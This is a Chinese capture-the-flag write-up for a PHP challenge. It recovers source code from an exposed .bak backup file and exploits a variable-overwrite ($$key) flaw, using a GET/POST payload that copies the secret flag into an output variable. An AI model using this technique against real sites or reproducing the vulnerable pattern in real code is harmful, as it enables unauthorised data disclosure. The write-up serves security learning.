今天比赛里的一道题
我们第一眼看到了这个,提示我们跟.bak文件有关
在url地址后输入index.php.bak得到了一份文件
选择文本文件打开后看到网页的源代码
根据代码提示需要用POST方式传一个flag变量进去
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("Mabey you need know bak file");
if ( !isset($_POST["flag"]) )
die($_403);
这里我们用火狐浏览器里的Max HacKBar插件
继续分析发现
foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
$$,这里是一个新的知识点,叫变量覆盖
第一个foreach处,能将任意变量的值赋予任意变量
第二个foreach处,能将输入的值赋予任意变量
之前并未学习过变量覆盖,,所以就去找了找大佬的文章在两张图就来自于他
if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);
这里我们知道$_POST["flag"]如果与$flag不完全相等,即值和类型都比较时,输出$_403
如果完全相等,则输出$flag和$_200
源代码大致分析结束了,接下来我们试试随便传一个值给flag
显然这个flag并不是真的,在这卡了许久的。看回上面的变量覆盖,foreach ($_POST as $key => $value)$$key = $value;
当只POST一个值为1的变量flag,$$key = $valu=>$flag = 1,使可能原本存在的变量$flag被赋值为1,即真实的flag被修改为变量flag的值,由于前面的两个if,这是无法被改变的
所以,需要在真实的flag被修改前将其值给其他变量并能输出出来能输出的只有die($_403);和die($_200);,
所以思路是利用变量覆盖在flag被改前将真实的$flag的值覆盖$_403或$_200并输出,而能利用变量覆盖将一个变量的值覆盖其他变量的地方只有第一个foreach处。
将真实的flag覆盖$_200并输出$_200
$_GET['_200']='flag';
$_POST['flag']=1;
foreach ($_GET as $key => $value)
$$key = $$value;
相当于$_200=$flag,将真flag给了$_200
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
$flag被修改为1,与$_POST['flag']等值等类型,不满足$_POST["flag"] !== $flag
echo "This is your flag : ". $flag . "\n";
die($_200);
输出$_200即输出真flag